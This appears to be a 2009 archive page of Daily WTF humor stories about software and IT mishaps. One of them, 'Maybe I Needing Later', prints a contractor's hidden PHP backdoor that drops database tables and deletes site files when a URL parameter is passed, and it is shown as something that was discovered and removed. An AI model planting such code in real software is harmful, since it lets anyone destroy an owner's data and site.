It was physically damaged alright. The disk heads managed to cut deep, jagged groves right on the platter. It was completely visible to the naked eye and quite a site to see. But no one could figure it out. Disk heads just don't do that. Well, unless they're possessed by some poltergeist or something. But the building architect was pretty sure that they didn't build on top of an Ancestral Holy Land / Orphanage Burial Ground.
A few days later, one of the network administrators just happened to be walking through the data center. He saw that one of the workers set up a sawhorse, laid a board across it, and set the other end right on top of the server's disk enclosure. The worker was just about to make a cut with a saber saw when the admin stopped him. Apparently, the crew had brought only a single sawhorse to the job site and, after finding a convenient sawhorse replacement, saw no need to get a second one.


|
| Wednesday, December 23rd, 2009 | |
rss_thedailywtf
|
2:00p |
CodeSOD: The Do Not Click Button http://thedailywtf.com/Articles/The-Do-Not-Click-Button.aspx “My company has an enormous, in-house built network management application that has every conceivable feature,” Matthew E wrote. “It has everything and does anything that you can imagine... including nothing. And it accomplishes the latter feature with a small-but-conspicuous button labeled Do Not Click.”
“Following is an excerpt from the several-thousand-line include-file that forms the bulk of each page load.”
function do_not_click(btn)
{
/*
btn.value = "Do Not Click Again";
doHttpQuery("/menu.php?do_not_click=1", function(text) { });
*/
alert("Due to some people abusing it, the Do Not Click button has been turned off.");
}
“As for the original functionality of the Do Not Click, it was surprisingly... nothing.”
else if ($_REQUEST['do_not_click'])
{
session_write_close();
ob_flush();
flush();
sleep(20);
exit;
}


|
| Tuesday, December 22nd, 2009 | |
rss_thedailywtf
|
2:00p |
Maybe I Needing Later http://thedailywtf.com/Articles/Maybe-I-Needing-Later.aspx You get what you pay for. Ondra M didn’t use those exact words, but that’s effectively what told his friend and colleague, Derrick. “There’s a reason it costs one tenth as much to build in Kerbleckistan,” were Ondra’s exact words, “there’s not only the language barrier, but time zone differences, cultural diff—”
“It’s just code, which is just a bunch a bytes!” Derrick shot back, “who cares if it’s built here, there, or on the moon. I’ll just take the cost savings and put them towards advertising. ”
Ondra didn’t push the point any further. After all, over the years he had come to learn that Derrick knows best, no matter what reality says. Besides, it was Derrick’s money, Derrick’s idea, and Derrick’s baby. The only involvement Ondra had in the project was to lend some unused rack space.
It was the least he could for his friend who had, once again, come up with the Best Idea Ever. And this one was truly the best. It was some sort of Web 2.0 site that involved freemium, collaboration, engagement, and all sorts of other buzzword concepts that Ondra was clearly behind on understanding. Either way, Ondra set up a server, gave Derrick the details, and wished him the best of luck.
Not Enough Luck in the World
After over six months of parroting “the project’s going great!”, Derrick finally changed his tune.“Let me level with you,” Derrick painfully admitted, “I’m in a serious bind, Ondra, and I need your help. I think I could lose everything.”
Ondra held in a much-deserved told-ya-so and let his friend explain what really happened over the past half year. After interviewing a slew of candidates from Kerbleckistan, Derrick settled on one who had “many year experience building web” and could complete the project in “two month, three maybe.” Derrick’s arranged to pay this contractor a monthly fee and, in turn, the contractor would meet pre-established weekly goals and push his code changes to the server every week.
As the weeks passed, the goals slipped by and the excuses started to grow. "It does working on my machine," "I have missing your email," and "this is first time problem" were becoming all-too-common. At one point, the development just stopped: no new changes were uploaded and the database remained untouched. After nearly a month of no progress, Derrick fired the Kerbleckistanian, disabled his server account, and told him not to expect a check for the past few weeks of “work”. And that’s where the problems started.
“This is not fair,” the contractor wrote in an email, “I was about to uploading files. It is good codes, ready for you. I programming this, so then you pay me and I sending you files.”
Derrick stuck to his guns and refused to pay the contractor another dime.
“If you don’t paying, then I delete files that I send you,” he responded, “I don’t want deleting your web, but it is not fair for me. I know you changing my password and I can’t logging on, but I don’t needing SQL or server password to delete.”
It was that last part that was the most troubling to Derrick: could he actually delete files without FTP access? Derrick fired up his shell access and executed a simple command to see if unlink (PHP's function for deletling a file) was used.
cat *.php | grep unlink
The first and only page that showed up was in db_connect.php, which was included by all pages.
// maybe I needing later
if ($_GET['page'] == "delete_all_files"){
echo "del";
mysql_query("DROP TABLE *");
unlink("index.php");
unlink("apps.php");
unlink("resources");
... snip all files ...
}
That's right — it was a back door that deleted all database tables and files. All the original programmer (or, anyone else) would have to do is access any URL and enter ?page=delete_all_files in the URL.
Fortunately, Ondra was able to remove the backdoor before the Kerbleckistanian could access it. Well, maybe not fortunately; the rest of the code was pretty awful and was probably better off being deleted. But at least it was one-tenth the cost of doing it right!


|
| Monday, December 21st, 2009 | |
rss_thedailywtf
|
2:30p |
Representative Line: The Matryoshka Method http://thedailywtf.com/Articles/The-Matryoshka-Method.aspx "At one end of the system," Steve A writes "we have a fairly simple HTML-form that displayed a handful of shipping-related fields. At that the other end, there's a database table that pretty much matches those fields one-to-one. But in the middle.... there's a lot more."
"It's so hard to even begin describing our systems architectural problems, let alone using code to illustrate them. So instead, I'll just share this single line — a function definition — from a VB6 .dll that's called a as a plug-in by another VB6 .dll, which is in-turn called by a VB6 .exe that runs as a service. This function calls a single stored procedure, which in turn calls another stored procedure that call other stored procedures. But eventually, a row gets inserted."
Function InsertXMLShipment( _
ByVal GMImportId_fk As Variant, ByVal nShpId As Variant, _
ByVal nShpConConsigneeId As Variant, ByVal nShpConShipperId As Variant, _
ByVal nShpConBillId As Variant, ByVal fShpMiles As Variant, _
ByVal dtShpRequestedPickup As Variant, ByVal dtShpRequestedPickupDt As Variant, _
ByVal sShpRequestedPickupTime As Variant, ByVal dtShpRequestedDelivery As Variant, _
ByVal dtShpRequestedDeliveryDt As Variant, ByVal sShpRequestedDeliveryTime As Variant, _
ByVal dtShpPickup As Variant, ByVal dtShpPickupDt As Variant, ByVal sShpPickupTime As Variant, _
ByVal dtShpDelivery As Variant, ByVal dtShpDeliveryDt As Variant,
ByVal sShpDeliveryTime As Variant, ByVal bShpAirRide As Variant, ByVal bShpTarps As Variant, _
ByVal sShpPO As Variant, ByVal sShpOrderedBy As Variant, ByVal sShpNotes As Variant, _
ByVal nShpCarIdFd As Variant, ByVal sShpTrailer As Variant, ByVal sShpBol As Variant, _
ByVal fShpCarPieces As Variant, ByVal dtShpRequestedPickupEnd As Variant, _
ByVal dtShpRequestedPickupEndDt As Variant, ByVal sShpRequestedPickupEndTime As Variant, _
ByVal dtShpRequestedDeliveryEnd As Variant, ByVal dtShpRequestedDeliveryEndDt As Variant, _
ByVal sShpRequestedDeliveryEndTime As Variant, ByVal sShpContainerProject As Variant, _
ByVal sShpGMContact As Variant, ByVal sShpGMContactPhone As Variant, _
ByVal dtShpSupplierPickup As Variant, ByVal dtShpSupplierPickupDt As Variant, _
ByVal sShpSupplierPickupTime As Variant, ByVal sShpSupplierBOL As Variant, _
ByVal nShpStatusFd As Variant, ByVal sEqtEquipmentType As Variant, _
ByVal sComType As Variant, ByVal fShpInvoicedFd As Variant, ByVal sStaStatus As Variant, _
ByVal nComId As Variant, ByVal nEqtId As Variant, ByVal nStaId As Variant, _
ByVal sCayType As Variant, ByVal nCayId As Variant) As Boolean


|
| Friday, December 18th, 2009 | |
rss_thedailywtf
|
2:00p |
Souvenir Potpourri: Surprise! http://thedailywtf.com/Articles/Souvenir-Potpourri-Surprise!.aspx Ever since the first Free Sticker Week ended back in February '07, I've been sending out WTF Stickers to anyone that mailed me a SASE or a small souvenir. More recently, I've been sending out the coveted TDWTF Mugs for truly awesome souvenirs. Nothing specific; per the instructions page, "anything will do." Well, here goes anything, yet again! (previous: The Cookout).
Leave it to Lennart Jütte (Germany) to remind me how awesome German treats can be. He sent over this delightful assortment which I almost immediately dug into.

- Ahoj-Brause - this is some intense candy that puts Pixy Stix to shame; somehow, it packs in more sugary sweetness than sugar itself and then goes on to add a fizzy/effervescent tingle. "Put the powder from one of the small bags in your mouth," Lennart explains, "and then mix it with a shot of vodka. That's what we call Vodka-Ahoj!"
- GoldBären - "the company Haribo started with a sack of sugar," Lennart writes, "thanks to these little fellas, it's worth billions!"
- Rothaus Tannenzäpfle - this was quite the beer! Add to the fact that the brewery has been in operation since 1791, and you've got a very impressive beer.
- Knoppers - another piece of fine, German engineering with crispy wafers, choclate, nougat, cream filling, and hazelnuts
- Kinder-Überraschung - actually, this deserves it's own paragraph.
Kinder-Überraschung ("Kids Surprise!") are quite possibly one of the most awesome things I have ever seen. I'm sure we've all experienced the chocolate egg, which is essentailly what the Kinder-Überraschung is.

But crack it on open, and what's what? A toy? That you have to assemble!? Ohhhh, right.

Sadly, the Kinder-Überraschung are illegal in the United States. Something about children, choking hazards, that sort of thing.
Fun fact: the dude on this Nicaraguan bank note is named Francisco Hernández de Córdoba. He's actually one of two 16th century Spanish conquistadores named Francisco Hernández de Córdoba.

(sent by an anonymous New Yorker)
Anthony (Eads, TN) sent this awesome piece of Homewood Suites swag. Not only is it a highly attractive piece of desk art, but it has a cool, hidden feature. Toss it at someone and it quacks!

I don't think many realize how fun a quacking stuffed duck can be around the office. Everyone seems to love it, as this hastily-made video shows:
"Like many towns, our local independent shops are under threat from unfair competition from large supermarkets," David Arno writes, "rather than see them all shut down, the Lewes Pound was launched instead. Lewes Pounds are accepted within the town's shops and pubs, which encourage the town's population to spend their money there, rather than the big out-of-town stores."

Stephen Harrison traded in a handful of stickers and business cards for TDWTF stickers and my business cards.

The Microsoft pen that Josh (Napa, CA) sent was a good snack for the Post Office sorting machines.

This small pile of stuff came from Finland. Oddly enough, the kick candy wasn't the most awful thing I've ever tasted. Although it's "ingrediense" included glukossirap, socker, and fett, it was actually a bit tasty. Perhaps Finnish "candy" is an acquired taste, and I'm acquiring it?

Kathleen S (Pipersville, PA) was kind enough to make these embroidered patches.

Remember what I said about acquiring the taste of Finnish treats? About that... it turns out that salmiak is even worse than I remembered. Which is pretty impressive, considering that it's only one of two things I've tasted that have made me wish I didn't have a sense of taste. The other thing was roofing tar. Still, I have to give mad props to Martii Kylmälä (Finland).
"Do not anger the Finns, for they have strange ways and a twisted sense of humor," he wrote, "you described salmiak as tar-like, but we're already way ahead of you: the leijona salmiak is actually tar-flavored salmiak candy. I'm not joking. We also have tar-flavored ice cream here, too."

The leijona salmiak was about as awful as you might imagine, and then some. The pieces were covered in what looked like grains sugar (almost like real candy) but was actually grains of salt. And not even real salt, but ammonium chloride. The leijona actually made the normal salmiak desirable... in the same manner that a punch to the face is welcomed instead of being run over by a car.
Martii added, "also included are two comic books — The Yellow "M" (translated to English) and Viivi och Wagner — and a CD of accordion music.
Thomas Böhm (Timisoara, Romania) writes, "I've enclosed two (2) PEZ refils, various coins with post-it notes, a healthcare comic, a wristband, and a Union Square card, where you can go to drink a beer when you visit Timisoara."

And finally, a bunch of miscellaneousness including a Video To Go rental card (with 5€ credit) from David (Bristol, UK), a $10 contribution from Stuart Williams (Fair Oaks, CA) which almost immediately went towards my Single Malt fund, and a drawing of a sheep thinking about Mentos from Katie.

Don't forget to snail-mail in your own souvenirs for some TDWTF stickers. Ultra-awesome souvenirs (like, say, steak) could even get you a TDWTF mug.


|
| Thursday, December 17th, 2009 | |
rss_thedailywtf
|
2:00p |
The Proven Fix http://thedailywtf.com/Articles/The-Proven-Fix.aspx There are lots of ways to ruin a batch of steel.
Just like making a cake, add in too much of one ingredient, add an ingredient at the wrong time, or heat everything to the wrong temperature, and it could all end in disaster. But in the case of a steel mill, we're talking about a 150 ton cake made of red-hot molten iron that's worth millions of dollars. Obviously, the risk of messing things up is a little bit higher. So, to help keep potential financial disaster at bay, the plants remove part of the human error factor and rely upon automated systems to keep things humming along smoothly. Systems much like the ones made by the company where Robert M. was a development manager.
The systems that Robert's group developed were not turnkey solutions; instead the software that they produced was intended to interact with the plant's hardware at a very low level. Because of this — and the fact that nobody wanted to be "that guy" who caused a plant to lose a crapton of money — all bug fixes and enhancements had to run though a plant simulator system first. While the arrangement worked well, Robert was always grateful when he was allowed to bring on additional help. And this is why he was very interested when heard that Vijay would be coming onto his team.
Considerable Generosity!
The company was run by the founder and his son. Phil, the son, was in charge of the "Advanced Technologies" group, which developed all sorts of neural networks and other things might be found on the latest cover of ComputerWorld; they sounded very impressive but never quite became products. All of them had advanced degrees in computer science and other, related fields. Perhaps not coincidently, all of the money-making products were developed and maintained by people without advanced degrees.
"I'm telling you Robert, you're going to really appreciate having Vijay around," said Phil, "He interviewed real strong and, get this. He has a PhD in Computer Science! You'll be thanking me by the end of next week, you'll see!"
Vijay's tenure, however, was temporary in nature. Until a project was available to truly engage Vijay's vast knowledge, he would be "on loan" to Robert's team to "improve his group's knowledge base" while gaining valuable real-world experience. "You'll want to exercise some care and feeding with that boy," warned Phil, "he likes to be right. But I have faith that you'll be able to handle him when he arrives first thing tomorrow!"
Welcome Aboard
When Vijay arrived on the scene, there was no mistaking him. His sunglasses and clothing made him seem like he jumped out of the latest J.Crew catalog, but his swagger and facial hair made him look more like Dog the Bounty Hunter.
Robert greeted Vijay warmly and started showing him around the office, introducing him to the receptionist, the other developers on his team, how to join the coffee club and other good information like that. Once acquainted with the development environment, Vijay's first assignment was to fix a minor bug. It was the sort of problem that you give to the new guy so that he can start to learn the code base. And later that afternoon, Vijay came to Robert's desk to announce that he had fixed the bug.
"Glad to hear that you tracked down the bug," Phil responded enthusiastically. "Did you run into any problems running the fixed code through the simulator?"
"I didn't need to!" replied Vijay, "it's a proven fix. It's perfect!"
Robert looked to a nearby colleague wondering if perhaps he had missed something Vijay had said.
"Vijay, it's not that I doubt your skills, but what exactly do you mean by a 'proven fix'?"
Bullet Proofing the Proof
Vijay left Robert's office and returned with a notebook. He explained that, basically, the idea is that you create a mathematical proof via a formal method that describes a system. What he had done was created a proof of how the system functioned, and then he recalculated after writing the actual fix.
While patting his notebook, he smiled and concluded, "therefore, this is my proof that the code will work — in writing!"
"Vijay,you work is quite impressive," Robert began, "but would you mind if we went over to the simulator and tried it out?"
Vijay was agreeable to the proposition and joined and Robert at the simulator. As per their normal test plan, Robert installed the patch and set up the conditions for the bug. Vijay watched on silently with a very stoic of course it will you idiot during the whole process. And then his mood suddenly changed when Robert found that the bug was still there.
"You see - the annealing temperature that appears on the operator's screen still reads -255F. Perhaps—", Robert began before being abruptly cut off.
"But I proved that it was correct!" exclaimed Vijay while stabbing his notebook with his pointer finger, "Now you see here! Page 3! There! SEE?!?!"
Quietly, Robert offered, "Maybe there is an error in your proof," but it did no good. Muttering under his breath, Vijay stormed back to his desk and spent the remainder of the day (literally) pounding on his keyboard.
The next morning, the founder's son, Phil, stopped by Robert's office. "Bad news Robert," he opened, "as of this morning, Vijay will no longer be working with your group. He was pretty upset that your software was defective and that it didn't work when he fixed it... even when his fix was proven to be correct."


|
|